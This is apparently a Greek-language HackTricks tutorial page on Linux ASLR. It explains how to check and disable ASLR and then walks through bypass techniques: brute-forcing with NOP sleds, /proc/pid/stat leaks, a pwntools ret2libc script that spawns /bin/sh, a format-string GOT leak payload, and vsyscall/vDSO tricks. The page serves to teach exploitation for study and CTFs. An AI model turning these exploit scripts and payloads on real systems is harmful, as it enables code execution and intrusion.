hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md

ASLR

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)

Υποστηρίξτε το HackTricks

• Ελέγξτε τα σχέδια συνδρομής!
• Εγγραφείτε 💬 στην ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
• Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα αποθετήρια HackTricks και HackTricks Cloud στο GitHub.

{% endhint %}

Βασικές Πληροφορίες

Η τυχαία διάταξη του χώρου διευθύνσεων (ASLR) είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να τυχαιοποιήσει τις διευθύνσεις μνήμης που χρησιμοποιούνται από τις διεργασίες του συστήματος και τις εφαρμογές. Με αυτόν τον τρόπο, κάνει σημαντικά πιο δύσκολο για έναν εισβολέα να προβλέψει τη θέση συγκεκριμένων διεργασιών και δεδομένων, όπως το stack, το heap και οι βιβλιοθήκες, με αποτέλεσμα τη μείωση ορισμένων τύπων εκμετάλλευσης, ιδιαίτερα των buffer overflows.

Έλεγχος Κατάστασης ASLR

Για να ελέγξετε την κατάσταση του ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το αρχείο /proc/sys/kernel/randomize_va_space. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο του ASLR που εφαρμόζεται:

• 0: Χωρίς τυχαιοποίηση. Όλα είναι στατικά.
• 1: Συντηρητική τυχαιοποίηση. Οι κοινόχρηστες βιβλιοθήκες, το stack, το mmap(), η σελίδα VDSO τυχαιοποιούνται.
• 2: Πλήρης τυχαιοποίηση. Εκτός από τα στοιχεία που τυχαιοποιούνται από τη συντηρητική τυχαιοποίηση, η μνήμη που διαχειρίζεται μέσω της brk() τυχαιοποιείται.

Μπορείτε να ελέγξετε την κατάσταση του ASLR με την ακόλουθη εντολή:

cat /proc/sys/kernel/randomize_va_space

Απενεργοποίηση του ASLR

Για να απενεργοποιήσετε το ASLR, ορίζετε την τιμή του /proc/sys/kernel/randomize_va_space σε 0. Η απενεργοποίηση του ASLR συνήθως δεν συνιστάται εκτός από περιπτώσεις ελέγχου ή αποσφαλμάτωσης. Ακολουθεί πως μπορείτε να το απενεργοποιήσετε:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Μπορείτε επίσης να απενεργοποιήσετε το ASLR για μια εκτέλεση με:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Ενεργοποίηση του ASLR

Για να ενεργοποιήσετε το ASLR, μπορείτε να γράψετε μια τιμή 2 στο αρχείο /proc/sys/kernel/randomize_va_space. Αυτό απαιτεί συνήθως δικαιώματα ρίζας. Η ενεργοποίηση πλήρους τυχαίοποίησης μπορεί να γίνει με την ακόλουθη εντολή:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Μόνιμη Διατήρηση Μετά την Επανεκκίνηση

Οι αλλαγές που γίνονται με τις εντολές echo είναι προσωρινές και θα επαναφερθούν μετά από επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο /etc/sysctl.conf και να προσθέσετε ή να τροποποιήσετε την ακόλουθη γραμμή:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Μετά την επεξεργασία του /etc/sysctl.conf, εφαρμόστε τις αλλαγές με:

sudo sysctl -p

Αυτό θα εξασφαλίσει ότι οι ρυθμίσεις του ASLR παραμένουν στις επανεκκινήσεις.

Παρακάμψεις

Βίαιη εξαναγκαστική επίθεση 32bit

Το PaX διαιρεί τον χώρο διεύθυνσης της διεργασίας σε 3 ομάδες:

• Κώδικας και δεδομένα (αρχικοποιημένα και μη αρχικοποιημένα): .text, .data, και .bss —> 16 bits εντροπία στη μεταβλητή delta_exec. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διεργασία και προστίθεται στις αρχικές διευθύνσεις.
• Μνήμη που εκχωρείται από την mmap() και κοινές βιβλιοθήκες —> 16 bits, με το όνομα delta_mmap.
• Η στοίβα —> 24 bits, αναφέρεται ως delta_stack. Ωστόσο, χρησιμοποιεί πραγματικά 11 bits (από τον 10ο έως τον 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένα σε 16 bytes —> Αυτό οδηγεί σε 524,288 πιθανές πραγματικές διευθύνσεις στοίβας.

Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR επαναλαμβάνοντας την εκτέλεση μέχρι η εκμετάλλευση να ολοκληρωθεί με επιτυχία.

Ιδέες για βίαιη εξαναγκαστική επίθεση:

• Αν έχετε ένα αρκετά μεγάλο υπερχείλισμα για να φιλοξενήσετε ένα μεγάλο NOP sled πριν το shellcode, θα μπορούσατε απλά να εξαναγκάσετε διευθύνσεις στη στοίβα μέχρι η ροή να περάσει πάνω από κάποιο τμήμα του NOP sled.
• Μια άλλη επιλογή γι' αυτό στην περίπτωση που το υπερχείλισμα δεν είναι τόσο μεγάλο και η εκμετάλλευση μπορεί να εκτελεστεί τοπικά είναι να προστεθεί το NOP sled και το shellcode σε μεταβλητή περιβάλλοντος.
• Αν η εκμετάλλευση είναι τοπική, μπορείτε να δοκιμάσετε να εξαναγκάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να δοκιμάσετε με βία τη διεύθυνση της συνάρτησης usleep της libc, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο διακομιστής καθυστερεί 10 δευτερόλεπτα περισσότερο για να ανταποκριθεί, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.

{% hint style="success" %} Στα 64bit συστήματα η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα πρέπει να είναι δυνατό. {% endhint %}

Εκμετάλλευση brute-forcing στο stack 64 bits

Είναι δυνατό να καταλάβετε ένα μεγάλο μέρος του stack με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να καταχωρήσετε το δυαδικό αρχείο εκατοντάδες/χιλιάδες φορές τοπικά για να το εκμεταλλευτείτε.
Ο παρακάτω κώδικας δείχνει πώς είναι δυνατό να επιλέξετε απλώς μια διεύθυνση στο stack και κάθε λίγες εκατοντάδες εκτελέσεις αυτή η διεύθυνση θα περιέχει την NOP εντολή:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}

import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Τοπικές Πληροφορίες (/proc/[pid]/stat)

Το αρχείο /proc/[pid]/stat ενός διεργασίας είναι πάντα προσβάσιμο από όλους και περιέχει ενδιαφέρουσες πληροφορίες όπως:

• startcode & endcode: Διευθύνσεις πάνω και κάτω από το TEXT του δυαδικού
• startstack: Η διεύθυνση της αρχής του stack
• start_data & end_data: Διευθύνσεις πάνω και κάτω από όπου βρίσκεται το BSS
• kstkesp & kstkeip: Τρέχουσες διευθύνσεις ESP και EIP
• arg_start & arg_end: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι παράμετροι γραμμής εντολής
• env_start & env_end: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι μεταβλητές περιβάλλοντος

Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από ωμές παραμέτρους, αλλά από μια διαφορετική είσοδο που μπορεί να δημιουργηθεί μετά την ανάγνωση αυτού του αρχείου. Είναι δυνατό για έναν επιτιθέμενο να αποκτήσει μερικές διευθύνσεις από αυτό το αρχείο και να κατασκευάσει μετατοπίσεις από αυτές για την εκμετάλλευση.

{% hint style="success" %} Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο ελέγξτε το https://man7.org/linux/man-pages/man5/proc.5.html αναζητώντας το /proc/pid/stat {% endhint %}

Έχοντας μια διαρροή

• Η πρόκληση είναι να δοθεί μια διαρροή

Αν σας δίνεται μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε μετατοπίσεις από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της βιβλιοθήκης libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτή η εκμετάλλευση παράδειγματος εξάγεται από το παράδειγμα από εδώ (ελέγξτε αυτήν τη σελίδα για περισσότερες λεπτομέρειες):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

• ret2plt

Εκμεταλλευόμενος ένα buffer overflow θα ήταν δυνατόν να εκμεταλλευτείτε ένα ret2plt για να εξαγάγετε μια διεύθυνση μιας συνάρτησης από την libc. Ελέγξτε:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

• Format Strings Arbitrary Read

Όπως και στο ret2plt, εάν έχετε ένα αυθαίρετο διάβασμα μέσω μιας ευπάθειας format strings είναι δυνατόν να εξάγετε τη διεύθυνση μιας συνάρτησης της libc από το GOT. Το ακόλουθο παράδειγμα είναι από εδώ:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την αυθαίρετη ανάγνωση μορφοποίησης σε:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Προσπαθήστε να παρακάμψετε το ASLR καταχρώμενοι διευθύνσεις μέσα στη στοίβα:

{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}

vsyscall

Ο μηχανισμός vsyscall χρησιμεύει για τη βελτίωση της απόδοσης επιτρέποντας σε συγκεκριμένες κλήσεις συστήματος να εκτελούνται στον χώρο χρήστη, αν και ουσιαστικά ανήκουν στον πυρήνα. Το κρίσιμο πλεονέκτημα των vsyscalls βρίσκεται στις σταθερές διευθύνσεις τους, οι οποίες δεν υπόκεινται σε ASLR (Τυχαία Διάταξη Χώρου Διεύθυνσης). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν χρειάζεται να έχουν μια ευπάθεια διαρροής πληροφοριών για να προσδιορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.
Ωστόσο, δεν θα βρεθούν πολύ ενδιαφέροντα gadgets εδώ (αν και, για παράδειγμα, είναι δυνατόν να ληφθεί ένα ισοδύναμο ret;)

(Το παρακάτω παράδειγμα και κώδικας είναι από αυτήν την ανάλυση)

Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση 0xffffffffff600800 μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια να μεταβείτε απευθείας σε μια εντολή ret μπορεί να οδηγήσει σε αστάθεια ή κολάσεις μετά την εκτέλεση μερικών gadgets, η μετάβαση στην αρχή μιας syscall που παρέχεται από την ενότητα vsyscall μπορεί να αποδειχθεί επιτυχής. Τοποθετώντας προσεκτικά ένα ROP gadget που οδηγεί την εκτέλεση σε αυτήν τη διεύθυνση vsyscall, ένας επιτιθέμενος μπορεί να επιτύχει την εκτέλεση κώδικα χωρίς την ανάγκη να παρακάμψει το ASLR για αυτό το τμήμα της εκμετάλλευσης.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Σημειώστε λοιπόν πώς είναι δυνατόν να παρακάμψετε το ASLR καταχρηστεύοντας το vdso εάν το πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO καθώς η διεύθυνση vdso δεν θα τυχαίοποιηθεί. Για περισσότερες πληροφορίες ελέγξτε:

{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} ret2vdso.md {% endcontent-ref %}

{% hint style="success" %} Μάθετε & εξασκηθείτε στο Hacking του AWS:Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο Hacking του GCP: Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)

Υποστηρίξτε το HackTricks

• Ελέγξτε τα σχέδια συνδρομής!
• Εγγραφείτε 💬 στην ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
• Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.

{% endhint %}